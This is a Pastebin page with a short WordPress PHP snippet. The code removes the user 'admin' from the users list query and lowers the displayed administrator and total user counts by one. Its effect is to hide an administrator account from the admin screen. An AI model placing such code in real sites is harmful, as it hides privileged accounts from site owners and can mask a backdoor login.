Advertisement
Guest User

Untitled

a guest
Apr 25th, 2019
84
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.11 KB | None | 0 0
  1. add_action('pre_user_query','yoursite_pre_user_query');
  2. function yoursite_pre_user_query($user_search) {
  3.   global $current_user;
  4.   $username = $current_user->user_login;
  5.  
  6.   if ($username == 'admin') {
  7.     global $wpdb;
  8.     $user_search->query_where = str_replace('WHERE 1=1',
  9.       "WHERE 1=1 AND {$wpdb->users}.user_login != 'admin'",$user_search->query_where);
  10.   }
  11. }
  12.  
  13. add_filter("views_users", "dt_list_table_views");
  14. function dt_list_table_views($views){
  15.    $users = count_users();
  16.    $admins_num = $users['avail_roles']['administrator'] - 1;
  17.    $all_num = $users['total_users'] - 1;
  18.    $class_adm = ( strpos($views['administrator'], 'current') === false ) ? "" : "current";
  19.    $class_all = ( strpos($views['all'], 'current') === false ) ? "" : "current";
  20.    $views['administrator'] = '<a href="users.php?role=administrator" class="' . $class_adm . '">' . translate_user_role('Administrator') . ' <span class="count">(' . $admins_num . ')</span></a>';
  21.    $views['all'] = '<a href="users.php" class="' . $class_all . '">' . __('All') . ' <span class="count">(' . $all_num . ')</span></a>';
  22.    return $views;
  23. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement